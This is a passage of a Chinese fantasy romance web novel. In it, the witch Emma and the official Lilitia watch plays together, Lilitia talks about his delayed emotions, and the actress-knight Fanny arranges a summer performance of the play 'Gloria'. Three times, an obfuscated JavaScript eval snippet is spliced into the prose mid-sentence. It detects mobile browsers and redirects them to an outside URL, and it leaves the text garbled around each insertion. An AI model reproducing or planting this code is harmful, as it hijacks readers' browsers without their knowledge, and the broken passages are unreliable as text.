“没什么。”艾玛说,“就是在想,你会不会觉得无聊。” “虽然很不成熟,也有些新颖的地方。”利利提亚笑了笑,“您觉得无趣了吗?” 120.剧场 “有几个地方,逻辑太不合理。” “您很在意这个?” 艾玛反问:“像他们打斗的动作,即使作为业余也太业余,让人看得一头雾水。这是你擅长的方向,看起来不难受吗?” “我倒没什么想法。”利利提亚看了一眼舞台,口吻很轻飘,“因为这只是出戏剧,从一开始观众就知道全都是假的,有什么必要在早就清楚的虚构里寻求真实呢?” 艾玛停顿了一下,看回舞台。 争斗中一方角色倒下了,演员哭嚎着这虚假的死亡。 “您喜欢戏剧吗?”利利提亚问,“之前没听您提过。” “还可以,只是看书更多。” “是吗……”利利提亚眨了下眼睛,“它们哪里吸引您呢?” 艾玛沉默了好一会儿。 黑暗里唯一巨大的光源是舞台的顶灯,炽白的光线投在他们脸上。 白色的光线将艾玛金色的瞳孔映得愈发浅淡,利利提亚看着她没有表情的侧脸。 “因为……”艾玛动了动嘴唇,不带起伏地说,“很明白。无论是角色的想法,行为动机,理由,目的,他们会自己说出来,或者旁白会说出来。不需要猜测,因果有迹可循。 “现实里的人是一团乱麻,封闭在不透明的箱子里,而小说和戏剧里的一切是透明的。 “或许只要我学会理解故事里的角色,就更能理解现实的人。我曾经这么想。 “但是现实不讲道理,故事很多时候也不讲道理。” “原来您是这样的视角。”利利提亚停了停,望回舞台上,“我小时候看戏剧比读故事更多。三流的娱乐小说上不了台面,我没什么机会接触,宴会却时常有戏剧演出。 “观看的人一样心不在焉,与同席的宾客攀谈结交更紧要。剧目内容也无聊极了,多看几回便能总结出所有的套路,还有突兀穿插在台词里,对执政官的溢美。 “我不明白这些演出的趣味性在哪里,却学会了在周围观众喜怒时表演出同样的情绪。 “后来我也看了许多他们曾不让我看的‘禁书’,从爱情到文人议政的假想,看了也觉得没什么大不了,每一个都假极了,一眼就知道多少作者根本没有设身处地过角色的境遇。 “我不知道这些故事为什么吸引人,甚至觉得历史书还比这有趣。 “最后我为自己得出结论:人们喜爱观看这些虚假的故事,是为了从中得到需要的情绪。 “观众往往会代入共鸣某个角色,所以看见错失所爱同样痛悔,看见污蔑伤害同感愤怒,最终主角夙愿得偿,便如自己也享喜悦荣光。 “而所有这些角色的人生,无论流血死亡,都只是剧中的人生。 “旁观者不需要负担任何风险,就能轻易体验一遍他者的生活。 “所以故事合不合理不重要,重要的只在于它的合理性是否妨碍了观者代入共情。而我从一开始就没有这种需求。” 利利提亚沉默了一会儿,声音仍然很平静:“我很早就知道有异常的是自己。我天生于别人缺损一些东西。 “不知道有什么值得愤怒,不清楚眼泪有什么意义,更不明白为什么需要恐惧。 “许多人夸耀理性的伟大,贬低情感的价值,我觉得很诧异。或许他们总是诋毁自己无法拥有的东西。” 艾玛动了一下眼睛。 “我有时很羡慕,但说不上自怜自卑。 “我生来如此,自己无法选择,怎么算也不该是我的错处。 “再或者,即使有另一种可能,我的感情能力与常人无异,却天生在其他方面有所缺陷,大约就会羡慕其他自己没有的东西。” 利利提亚低声笑了笑,“所以在我看来,可能性是最没意思的话题。” 艾玛嗯了一声,却没有说什么话。 利利提亚一时也没再讲,包厢里又安静了。 观众席上的攀谈声也渐渐觉得无趣,慢慢低落进黑暗里。 剧院的舞台装置简陋,灯光只有三种颜色,随着情节变换重复交替。 两位主人公私下幽会,开始密密地说些烧耳的情话,氛围从悲壮大义一转旖旎。 作为爱情剧,它确实好歹为感情戏留了相当的比重,观众们似乎满意了许多,剧院里的氛围也暧昧起来,观众席上有恋人的手顺理成章地搭在了一起。 艾玛和利利提亚却依旧平静,互相间的距离仍然在一个水瓶以上,宽敞到或许能再多放进半个,甚至似乎不约而同觉得剧情更加无聊,连评价交谈的兴致都没有。 或许是因为他们太过于安静,以至于存在感稀薄到给周围人带来了什么错觉,利利提亚身边的包厢墙壁突然咚地一响。 两人都是一愣,在这一声撞击后紧接着又传来摩擦、喘气、亲吻和低语的声音。 两位不缺乏生活经验的成年人当然很快反应过来发生了什么。 艾玛一时沉默,不知如何反应,利利提亚却已经压着笑声弯起了眼睛。 狭小的空间里一时充满了隔壁包厢暧昧的响动,连细节都传达得清楚。 “隔音效果很差。”利利提亚向她偏过头,笑着低声说,“扩音效果倒是很好。” “应该笑吗?”艾玛低声问。 “唔,丢脸的不是我,这种时候可以幸灾乐祸吧?” 艾玛无奈地多思忖了三秒,在差一点就要听到她并不想听到的当事人姓名时,手指按上木制的墙板,用法术为两个包厢完成了私密隔音。 利利提亚拍了拍手,赞美艾玛的施法能力:“这种意外事件比舞台剧情让人惊喜多了。” “这是惊吓吧。”艾玛说。 “隔壁两位要是知道女巫在这里,对他们恐怕就是惊吓了。”利利提亚微笑。 艾玛终于产生了一些相信:“这里真的适合情侣约会吗?” “作为许多人的优选约会场所,想来有他们的道理。” 隔音的法术已经让包厢里的声音传不出去,隔壁的声音也传不过来,利利提亚却仍然如下意识般低着声音和她讲话。 头颈偏靠过来,长发滑过肩膀,轻轻落在膝头上,在舞台投射的灯光下泛着细沙般的银光。 舞台上的爱侣拥抱着吻得难舍难分,声音却被屏障过滤于这个安静的角落之外,如同一张闪动的默剧。 他们靠得很近,水瓶被挤压成一张薄纸的距离,艾玛的呼吸吹动了他的头发。 谁都没有说话。 那个微妙而脆弱,却又平稳的微小距离,仍然保持着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582819|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半晌,艾玛开口说:“你还想接着看吗?” 她的声音也像耳语那样低:“我可以只让舞台上的声音过来。” 利利提亚好一会儿没说话,静静地望着她。 空气流动得太缓慢,像时间凝固了一般。 他最后笑了笑,说:“好啊。” 艾玛调整了隔音的范围,演员们的声音重新传进这个角落里。 戏剧进了尾声。 立场有别的恋人试图抛下一切私奔,却遭遇各种来自内心和外界的折磨阻碍,最终仍然被死亡所分隔。 一方抱着另一方的尸体哀哀哭泣,喃喃念叨着两人曾经许下的誓言和美好的愿景。 虽然是有无数缺陷的剧情和演出,这里的感情烘托却做得很好,演员哽咽的声音真情实感,观众席上有人抹了抹眼泪。 这里的剧情合理性到达了艾玛的及格阈值,让她心情和缓了些。 舞台上下的眼泪对她没有触动,但这本来就是常态。 “比预想里要有趣。”利利提亚评价。 “你觉得有趣的是场外的部分吗?” “嗯,场外当然很重要。”利利提亚说着,笑着望向艾玛。 倒下的演员们死而复生,手挽手肩并肩地上到台前向观众致礼,有人报以掌声,有人提前离场。 幕后的导演上场致辞,开始说一些心得与感谢话。 艾玛撤掉了隔音,隔壁包厢的声音已经轻微。 她思考着,是先于隔壁开门前离去,还是等隔壁离场后再出门,能为对方避免尴尬。 这时她看见利利提亚仍然望着她。 剧场里的灯光已经比演出时多打开了一小半,或许是这样的缘故,利利提亚的眼睛看起来比刚才还要明亮。 “你有什么想法?”艾玛以为他会对于离场时间有一些建议,但那目光难以理解,她又预想到会听见其他答案。 利利提亚的声音缓慢,比她预想的重量轻盈:“我后来意识到……我在情感上的缺失,并不是彻底的空白,而更接近于某方面的失感和迟钝。 “有时候我什么都体会不到,不是真的毫无感觉,而是那些冲动和反馈总是迟一步到来。 “杀死那只猎犬的时候,我并没有什么波动。乃至收殓完它和兔子的尸体,被母亲斥责很久之后,心里仍然空荡荡的。 “但那天晚上我回到房间,一个人独自安静下来之后,毫无征兆地,我突然觉得心脏疼痛。” 仿佛回想起那份痛觉,利利提亚抚上自己的胸口。 “——眼泪下意识流下来。真让人惊讶。 “那是我有记忆以来,第一次因为体会到‘悲伤’而流泪。原来‘悲伤’是这样的感觉。 “明明没有受到任何实质伤害,心脏却痛得像要裂开,沉重得发紧,呼吸困难。 “我第一次知道,情绪那样强烈地存在时,令人感到的痛苦与‘死亡’相近。那个瞬间,我觉得——” 利利提亚按在心口的手指收紧,抓皱了胸前的衣襟。 那双蓝色的眼睛很亮,像有什么东西在水下翻腾,烧灼出异常的热度。 他望着艾玛,像看着什么期待已久的事物,真心实意地微笑起来: “——非常高兴。” 121.邀约 如果说到夏天,不知道和春天相较,哪个更让人萌生无名的烦躁。 阿瓦托芬的四季相差不那么严峻,但春天有祭典,秋天有节庆,冬天忙碌于筹备新年。 夏季却蕴满最多的雨水,最潮湿的日子,最漫长的闷热时光。 “芬妮。”看了三行报告之后,利利提亚终于开口,“我跟你说过很多次——巡查报告是公务文书,不能写成诗歌体,也不能含有对嫌疑人的心理猜想,要贴近客观现实描述,而不是写成引起别人阅读兴趣的小说。” “诶……”芬妮失望地盯着他,“可是,那样写不是太无聊了吗!” “巡查工作和汇报文书本来就是很无聊的。你毕竟是监察骑士,应该习惯了吧。” 利利提亚压了压额角,“就算你让剧团的朋友帮你代笔报告,我平时也睁一只眼闭一只眼了。但议会每个季度都会抽查工作,要是让卡珊卓女士发现,你恐怕得暂停演出恶补公文写作了。” 芬妮缩了缩脖子:“那位女士……不至于这么不通人情吧?要是我请她到剧团来观看演出……” “她最忌讳贿赂了,当心罪加一等哦。” “呜……”芬妮不甘心地低落下去,还想挣扎一下,“一定要重写吗?” “是的。” 芬妮衡量了一番,讨价还价:“那么,要是我重写好这份报告,您能和我约会吗?” “不能。”利利提亚回答得直截了当,“这是你的工作,没道理用这个跟我谈条件。还有上个月的间谍捕获,哎呀,真是漂亮的成绩。” 芬妮被夸奖了便有些得意:“当然……” “我是说,那份报告你还没交,记得补上,别再拖到下个月了。” 芬妮以头抢桌:“抓人就抓人,为什么非要写报告啊……” “是啊。为什么呢,人又不是别人抓的,其他谁说得清过程?” 芬妮抬起头。 “我不推荐你去让嫌疑人自己写。”利利提亚说。 “我都还没讲,您真厉害啊。” “你每次能想到的主意也就是这些。” 芬妮手背抵上额头,转过身子,向后一仰,倒在利利提亚的半边办公桌上,引得桌面一震。 金色的卷发柔软地在桌头铺开,从纸张间发出一声叹息:“‘唉!夏日的忧郁,长久不散,神秘且恼人——’” “想背台词可以回剧团背,带上这份打回的报告。还有,你压到我的文件了。” “您真没情调啊!” “要是能省下在讨价还价上浪费的时间,我倒不介意配合你一下。” “您这样只能跟工作谈恋爱吧!” “听起来还挺省心。” “我可是说真的!”芬妮转过头,玫瑰色的眼睛明亮且干净,凝出露水般骤然凛冽的清澈颜色,“您这样漂亮、聪明,好得近乎完美的人,却不愿意对人敞开心扉。这样没有人能真正了解您,也没有办法靠近您的!” 利利提亚轻飘飘说:“夸得再多,报告也还是得重写的。” “这话又不是讨好!”芬妮有点生气,“只是觉得太可惜了。我还是稍微有些了解……我是说,知道您有另外一面的。可是,现在也完全不知道您在想什么!” “在想你的报告。” “我会补好的啦!”芬妮呼出一口气,“就是这些地方也一样,真不明白啊。” “不明白的事就不用想了。”利利提亚淡淡说,“芬妮这样就可以了。” 芬妮盯了他几秒,鼓了鼓腮帮子:“不可以!您还从来没跟我约会过,要怎么样才能答应?” “起码先交上报告吧。” “可以不要再提报告的事了吗?” 利利提亚翻了翻文件堆,拿出其中一份:“那么这份申请……” “也不要提申请……” 利利提亚继续说下去:“佛卡莱斯团长申请的圆形竞技场借用许可已经审核通过,时间段也确认完毕。其他还有些需要核准的细节,比如部分商业销售。 “圆形竞技场的演出禁止过度营业,让佛卡莱斯团长自觉点,别每年都想先试着钻空子。” “哦!已经确定下来了吗?我看看。” 话题转移到了芬妮感兴趣的方面,她一骨碌坐起来,眼睛发亮地接过文件,“‘七月中旬’……还有半个多月。” “是的,还有一周就下个月了。” 芬妮在他说下去前自觉道:“我会尽快补上报告的。” 利利提亚点头:“很好。” 芬妮翻看了一遍申请文件,回想着工作日程和排练进度,抬起头道:“说起来,您最近好像不是特别忙?七月中旬那时候,有空来看看我们的演出吗?” 放在往常,利利提亚很快就会回绝。 诸如最近日程紧张,已经提前有所安排,哪个部门有需要他处理的事项云云。 忙不是假的,给出的理由却很难说有几分真实性。 但今天听见问询,利利提亚却停下笔,视线从纸面上飘开,显出思索的神色:“女巫殿下说不定会有兴趣。” “女巫殿下会来看吗!”芬妮顿时眼睛一亮,满怀期待地扑到桌前,利利提亚后仰拉开距离。 “如果殿下感兴趣,可以向她约时间。你可以问问看。” “好哦!”芬妮高兴地应下,不忘问题的起点,“要是殿下答应的话,您也会来吗?” “嗯,可以啊。”利利提亚回答得爽快。 芬妮眨了下眼睛,一时没回神:“还没有确定好具体是哪一天,要是到时候日程撞了呢?” “把冲突的安排调整到其他时间就好了。”利利提亚说。 “您以前可不是这么说的。” 利利提亚没兴趣回答简单到这么显而易见的问题:“没其他事的话……” “您最近好像经常和女巫殿下一起去城里。”芬妮的眼睛亮亮的,“两位在交往吗?” 利利提亚看了她一眼:“只是尽职责为殿下介绍阿瓦托芬的情况,顺便有个借口休息一下,没有其他含义。” “您太紧张了,即使真的是,我也不会告诉议会呀。” 芬妮拍一拍手,弯起眼睛,“我也很喜欢女巫殿下!两位看起来很般配,说不定真的会合适呢。” 利利提亚说:“我记得,你不擅长演爱情戏,而且总是读不懂这类剧本的细节。” “呃!怎么突然提到我的伤心事……” “我也搞不懂。”利利提亚把需要带走的文件塞给她,“所以都别费心思了。” 芬妮垂下眼看怀里的文件,别别嘴说:“好吧……申请的问题,我会转告团长;报告也会尽快补上;女巫殿下那边,我会先去问一问。 “假如她愿意来……您这边真的哪一天都行?” “以她为准就好,我这边没问题。” 芬妮轻快地蹦跶了一下,涌起斗志:“好!那我也要更努力了!” “我记得你这次不是主演。”利利提亚说。 “那也要努力啊!!我这次的服装还很麻烦呢!舞台效果也需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16589416|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要我的法术——啊,还得先去竞技场习惯一下施术影响范围,那里比剧院大很多,这就费力了……” “辛苦了。加油。”利利提亚简短回应道。 芬妮转过头,多看了他两眼,左左右右打量一遍,不知得出什么结论,最终心情很好地笑起来:“您也辛苦了!那改天见!” . . “圆形竞技场的夏季公演?”荷尔贝拉闻言想了想,“确实……算算时间,今年的也差不多是时候了。” “芬妮说,玫瑰剧团今年的公演在七月十一到七月十七,连续七天。七天的剧目都是相同的,如果有时间,可以去看看。” 艾玛翻翻日历,找到日期后又抬起头来,“目前是还没什么安排。‘圆形竞技场’在哪里?我好像还没去过。” “竞技场的位置比较特殊……阿瓦托芬有三座竞技场,日常里可能作为各种比赛、试验场所,需要神殿批准借用许可,非开放时期就空置着。 “‘圆形竞技场’是其中最正式的,主要用于祭典仪式和大型演出,夏季公演是它开放最长的时期,各类演出组织和个人都可以申请借用。 “能够在圆形竞技场演出是一种荣誉,但申请往往很难通过,文礼司对申请方的资质要求很高,审核也复杂。 “但玫瑰剧团这样的大剧团是圆形竞技场的常客,每年夏季公演都有稳定排期,基本不会有意外。” 荷尔贝拉回想一下,“那附近没有居民区,比较偏僻。您来到阿瓦托芬之后这段时间,大约只有一些向内部开放的活动借用过,春祭刚好用不上。” “原来如此。”艾玛了然道,“芬妮说,这次是新剧目的首演。她好像很有信心,我也有点期待了。” “那里场地很大,能容纳很多观众,环形坐席的视野也好,以玫瑰剧团的专业性,演出效果一定很出色。” 荷尔贝拉问,“您已经决定好去看了吗?” 艾玛摇摇头:“还没有确定哪一天。芬妮说,利利提亚大概也有兴趣,如果我要去看,可以和他一起。我想也行。 “不过他比较忙,我倒没什么紧迫安排,打算先问问看他的日程。” 荷尔贝拉顿了顿,垂下目光:“……两位相处得很融洽。” “嗯?还好吧。”艾玛说。 “我只是想,您最近……心情好了很多。”荷尔贝拉说得缓慢,唇角很淡地向上提了提,“也不像之前那样紧绷,像在为什么焦躁一样了。肯定,是好事吧。” 艾玛愣了愣。 荷尔贝拉抬起眼睛:“不过,难得的演出。您不邀请那位西里斯先生一起吗?” 艾玛张了张口,回答是下意识的:“他对戏剧没什么兴趣。” 那声音冷静而平缓,明明是她自己说出来的,却陌生得像一道远处而来的回音。 那回音攀上她已经平稳的心跳,抹开镇静的外壳,露出底下熟悉的烦躁、不安,难以名状的恐慌。 那些无法说清、不愿面对的东西搅合得一团混乱,盘踞于原地。 她只是背过身去。而它们从来没有消失。 艾玛想到,她确实,最近没怎么找西里斯了。 “这样啊。”荷尔贝拉普通地接受了艾玛的回答,并不认为有什么问题。 艾玛却在回答之后陷入了沉默,好半天都没有说话。 荷尔贝拉感觉到一些异常,小心地问:“女巫殿下?” 艾玛自沉思中抬起目光,看着荷尔贝拉,忽然说:“贝拉,你要一起去看演出吗?” 122.格洛丽亚 阿瓦托芬的七月还不是最热的时候,夜晚升起的凉意将暑气中和得正好。 剧目还没开始,成群结伴的孩子们打闹着跑过。 观众席上已经半满,散落着夏日里茂密树叶被风吹动般的簌簌声响。 芬妮为他们排的坐席高低正中,附近多是神殿的职员,所以被认出也没什么妨碍。 偶尔有人想和利利提亚搭话,虽然得到了对方的微笑为答复,但任谁都能感到此处的气氛微妙,不宜介入。 荷尔贝拉坐得端正拘谨,双手捧杯饮料放在膝上,视线低垂,一动不动,风里浮动的发丝比人鲜活。 利利提亚坐在她右侧的坐席,神情如常,姿态还算放松,偶尔和右边的艾玛交谈几句。 艾玛的注意力似乎不太稳定,时而放在衣饰上,时而和利利提亚一来一回地对话,又有时轻轻飘向右侧,问右手边的西里斯几句并不必要的话。 西里斯大脑放空地看着尚无一人的舞台,缓缓产生了一些自己为什么在这里的茫然。 艾玛近来减少了联系他,西里斯当然知道。 这种隐约的淡忘与回避,在这么多年里都是第一次。 原本一直存在的东西逐渐抽离消失时,还是难免有些怅然。 但比起那一点轻微的空洞与失落,西里斯感到更明显的是释然与轻松。 那个“利利提亚”,西里斯并不认为他是什么适合交往的对象——但那也是他的评判标准。 只要艾玛喜欢,就不是什么问题。 他习惯于替艾玛解决任何事,以至于有时忘记了,已经成年的女巫早不需要过度的照顾,而艾玛也像遗忘了这点一样。或许那是无意识对他个性的迁就与迎合。 这种错误的紧密遮蔽了她的视野,阻碍了她的步伐,西里斯对她愧疚已经足深,从未想要再影响艾玛选择与体验她自己应有的生活。 一段关系只要过度紧密,分离时总会有所痛苦。 但分离是最好的选择,对他们双方都是。 主动做出这一步改变的人是艾玛,西里斯甚至有些安心。 艾玛来邀请他观看演出时,西里斯并没想太多。 分离可以有渐进适应的过程,他也只是想跟艾玛适当拉开距离,不是决绝到不相往来。一场戏剧很普通。 戏剧确实很普通,只是同行阵容太精彩。 看见利利提亚的时候,西里斯就开始想太多。 说到底,他也不确定艾玛是不是真的喜欢这个人。 但她近来的变化与利利提亚有关,这是可以肯定的。 如果艾玛难得转变心意,他就打击对方的积极性,这似乎很不好。 但西里斯也没法解释,他对利利提亚抱有一种本能的恶感,即使需要也不想违心说认可对方的话,一时不知道该在艾玛面前表现出怎样的态度。 荷尔贝拉也没法解释自己为什么在这里。 她明知道利利提亚会来。 不,或许就是因为知道才会答应,鬼迷心窍一般,很快开始后悔。 在约定的日期之前,脑内编排了一千个离开的借口,最后一个都没有交出。 抱着些许有艾玛同行的侥幸,以为场面不至于多尴尬,但全没有想到人数和坐席次序上的意外,此刻坐在利利提亚身边,感觉冷汗都要下来了。 那一千个借口又开始滚动,几乎上涌至喉咙,但又欠缺发出声音的勇气。 利利提亚并没有看她。 他的情感表现幅度很小,在别人眼里,利利提亚或许只是普通地等着剧目开场,但荷尔贝拉感觉到他现在心情不太好。 ……因为她在这里? 不,不可能是这样的理由。 理智很清楚地告诉她,但感性仍然因为恐惧簌簌摇动,晃开她手中的涟漪。 荷尔贝拉从来猜不准利利提亚在想什么,似乎猜想本身就是徒劳。 她最后仍然什么都没说,沉默地盯着斜处没有意义的落点。 四个人里唯一没有在乎这个人员构成,也完全不为此尴尬的只有艾玛。 其实另外有谁同行都不紧要,她实际在乎的只有西里斯的反应。 有些东西正在改变,意识到变化已经不可捉摸地发生的时刻,强烈的不安席卷上来。 反而想要证明一切如常,原本的关系可以持续,证明变化还没有动摇那些重要的东西。 和西里斯一起观看戏剧原本是很自然的事,她却突然为这种常见的单独相处里可能发生的变化感到焦躁,于是主动叠加了其他变量,仿佛提前为一些可预见的不同先行寻觅了借口。 而西里斯确实显得心情复杂,这种反应艾玛看在眼里,却不能确定它由于哪个变量而发生。 自欺欺人。艾玛自己也清楚。 至于利利提亚和荷尔贝拉的心情,艾玛没有多考虑。 她感觉利利提亚无所谓,而贝拉本就喜欢戏剧,跟利利提亚又熟悉。 如果不是克蕾娜工作忙碌逃过一劫,艾玛也会邀请她。 在这种没有在乎任何人死活的氛围里,唯一开心的只有给了艾玛四张票的芬妮。 她听说艾玛要多带几个朋友来,大喜过望,迅速预定了好视野的连座戏票,深信人越多越热闹,大家一定会更高兴。 可惜芬妮正在竞技场后台备演,见不到这里的精彩情境。 舞台周边的灯光依次暗下去,坐席上的呼吸声也渐渐幽微。 场馆入口处贩售餐饮的推车熄了照明,从场边退至暗处。 戏剧即将开始。 . . . 戏剧名为《格洛丽亚》。 装扮成宫廷侍女护卫的演员们最先登上舞台,欢快地高唱起王国的繁荣快乐,并开始在唱词中介绍部分重要角色。 其中最引人注目的,无疑是主角“格洛丽亚”。 国王的第二个女儿,宫廷里最出色的魔法师,携着未婚夫的手走进人群中心,对唱着情意绵绵的誓言。 从艾玛多年观剧经验来看,这位未婚夫如果不出意外,将会在各种意义上出意外。 戏剧刚开场,幻景魔法就自舞台中心铺开,蔓延至整个竞技场,瞬间捕获了所有人的注意。 这法术是芬妮的手笔,艾玛看得出来。 “演出有两个小时,这么大的魔法作用范围,很难持续太长时间。”在人群的惊呼声里,艾玛低声说。 “圆形竞技场的位置特殊,并且安置了增幅法阵,可以针对性地增强特定施术者的魔法效果。剧团也不止一位造景师,虽然不及芬妮,但足够保证整场的效果。”利利提亚低声回答。 艾玛点点头。 . . 国王已经迟暮,年青的辉煌荣光不再,衰老与疾病一视同仁,寻至他座前,令他惊惧惶恐。 便有炼金术士进言:我知道如何恢复您的荣光,我知道如何使一位王永生不死。 格洛丽亚斥责炼金术士的狂妄,认为此人不可取信,世上没有永生之法。 国王却一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593027|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意孤行,偏信炼金术士的方术,甚至疏远了自己的女儿。 而这位炼金术士实际是宰相的谋臣。装作为国王献上永生的秘密,却递上了一杯致死的毒酒。 他们编造了国王的遗书,夺走了王位。 格洛丽亚为了躲避暗杀逃出王宫,悲愤交加,誓要让篡位者付出代价,抢回王座。 于是格洛丽亚四处奔走,召集可信之人。 她找到与她情深义重的未婚夫家中,却发现他已投靠宰相。 未婚夫劝说格洛丽亚与他投诚,宰相是个阴险狠辣的巫师,与他作对一定难有善果。 . 未婚夫:我是爱你的——格洛丽亚!请相信我的爱,回到我身边! 我不忍心见你受苦乃至遭受死亡的不幸,遗忘那些可怕的念头吧!和我一起,跪于新王座前—— 格洛丽亚:住嘴!可耻可鄙的懦夫! 你要我向仇人下跪,膝上沾满我至亲的血。你弃我的信任于不顾,还在这里谈论什么爱情和未来。 收回你的爱,遗忘我们的誓言吧!即使从前有过,往后也不会有了!(拔剑) . 格洛丽亚杀出宅邸守卫的包围,在被爱人背叛的极度痛苦中逃到森林,见森林中的湖泊升起月光,显出一个慈悲的女人,面目酷似她亡故的母亲。 女人是月神的孩子,湖泊中的神明。祂被格洛丽亚打动,现身在她面前。 . 湖泊女神:我知晓你的来历。但我仍然要问你,格洛丽亚,你有多大的誓愿?你愿意为这份决心牺牲至什么地步? 格洛丽亚:可敬可亲的女神啊!愿您明鉴我的决心:我要将清白与义理交给蒙冤受害的忠臣,将公正与安宁还回担惊受怕的民众。我要公理普照世间,如这月光此刻照亮我。 为此我愿担风险与骂名,愿承受杀人的重罪,惟愿您成全我,不要叫我放下这心腔的热血! 湖泊女神:正直的格洛丽亚!为这勇气与善心,我宽恕你,许你免受罪孽。 (从湖水中浮起一把长剑,托在手中) 带走这把剑吧!每日午夜,剑上会涌出清水,洗去你沾染的血腥。 . 格洛丽亚接过女神赠予的圣剑,离开了森林。 在圣剑的感召下,忠勇正直之士向她聚集而来,精灵为她掩盖踪迹。 格洛丽亚一边谋划,一边积蓄力量。 某日,她在郊外撞见宰相女儿出行的马车,想要用法术的傀儡潜入车厢,调查情报。 不料车厢突然倾翻,从路边窜出一个少年。 他冲到车边,杀死了宰相的女儿。 格洛丽亚大惊,问他行事的缘故。 少年认出格洛丽亚,于是向她坦言,他的家人受宰相所害,在冤狱中被折磨而死,所以他要杀死宰相的女儿,使他尝受同样的痛苦。 . 格洛丽亚:可怜的少年!我同情你遭受的苦难,但我不能认同你的行径。 既然憎恨那使你不幸的恶人,为何不将剑刺向他,而要将匕首扎进这无辜女孩的咽喉! 少年:我不具有那样的力量,无法杀死那祸首。 我知我已犯下重罪,不受神明宽恕,亦无资格与你同途。 持有圣剑的贤者,王女格洛丽亚,我只恳求你继续你的道路,不要使罪人猖獗,不要让更多人流血受苦。 格洛丽亚:那么到我身边来!亲眼见证我的路。 你的匕首锋利,看看它更值得划开怎样的东西。 123.散场 少年加入了格洛丽亚的队伍。 历经艰险,格洛丽亚和她的同伴们终于来到宰相面前。 疯狂的巫师竭尽全力,最终仍然不抵正义的光辉,倒在王座前。 人们欢呼雀跃,高唱着格洛丽亚的名讳——“首席魔法师,公正的贤者,荣耀的新王”。 格洛丽亚在欢呼与鲜花的环绕中为每一位同行前来的伙伴授勋,细数每个人的功绩。 行至少年面前,他拒绝了格洛丽亚递来的花冠,早已泪眼朦胧。 . 少年:我在你的光辉里更清楚自己的卑劣,只出于自己的私怨,而将仇恨倾泻给无关的人。 我双手所沾染的,并非正义的鲜血。我没有资格领受这些荣耀、这些美名。 格洛丽亚:你迷途而返,随我们同行至今,我们的成就里也有你的牺牲奉献。 (拔出剑,抵在少年头顶) 贤者格洛丽亚在此杀死有罪者。 (明明不是午夜,剑上却流出清水,淌过少年身上,众人惊呼) 圣水洗净你的罪,自此诞生的是纯洁者。你已受宽恕。 . 少年在洗礼中泪流满面,屈膝于贤者面前。 格洛丽亚为他戴上花冠,观众们鼓掌欢呼,赞美她的公正慈悲。 最终在唱诵的音乐声中,格洛丽亚登上王座,王国在她的治理下恢复了和平宁静,所有人都得到了应有的结局。 . . . 戏剧闭幕,在最后的唱词熄灭之后,舞台上重新亮起灯光,奏起剧内的主旋律。 出场过的演员们一个个依次重登舞台,向观众们鞠躬致意。 宰相的演员演技生动,博得了不少牵连的恨意,有比较激动的观众在他登场时骂骂咧咧,试图扔点东西。 好在剧团和巡防护卫都有准备,演员没被任何不明飞行物砸到,翩翩退到一边,甚至为这份“肯定”得意地多脱帽致了次礼。 芬妮扮演的是湖水女神,白色的长裙曳地,在身后划开一道水波般的涟漪。 她在台前行完礼,伸出双手,向掌心吹了口气。 无数鲜花从她手中涌出,顺着这道微小的风四散飞开,飘落到观众席的最远处。 有人伸手去接住飞来的花朵,花瓣却像雪花似的,一碰到就消失了。 芬妮微笑着在惊叹声中再次提裙谢礼,然后退到了一边。 登场时欢呼声最盛的自然是格洛丽亚,许多观众起立鼓掌,既为剧中勇敢的王女,又为演员的出色发挥。 掌声与欢呼在竞技场中回荡着,声浪从没有遮挡的穹顶满溢而出。 演员谢了一次又一次礼,掌声仍然毫不停歇减弱。 艾玛也在每位演员登场时拍了拍手,但并没有这么持久的热情,即使在格洛丽亚登场时,也顶多多拍几下,就停了动作。 利利提亚的掌声礼貌且均匀,拍完就放下手,散漫地等待致礼结束。 荷尔贝拉虽然心事重重,但仍不免被精彩的表演吸引,眼眶都泛红,鼓掌时用力且真诚。 但她身边的利利提亚放手太快,在她的掌声落到身边的寂静中时,荷尔贝拉就很快察觉,僵硬地收住了手。 在周围激动的赞叹与掌声中,这一排显得尤为安静。 荷尔贝拉听着那些感叹,低着视线看自己膝头。 饮料已经喝光,放在腿上的杯子空荡荡的。 她在一片繁杂的声响中捕捉到一道熟悉而低缓的呼吸,仿佛受到牵引,忍不住望过去。 心跳在喧嚣的震动里太吵闹,又在回忆的安静中跳跃得太清晰。 上一次坐在他身边,是多少年前的事情? . 利提亚找来了一本爱情小说,父母老师都不准他看的那种伤风败俗的市井文学。 他拖来荷尔贝拉,和她躲在没人的地方,并排席地而坐,把书本摊开在他们膝头。 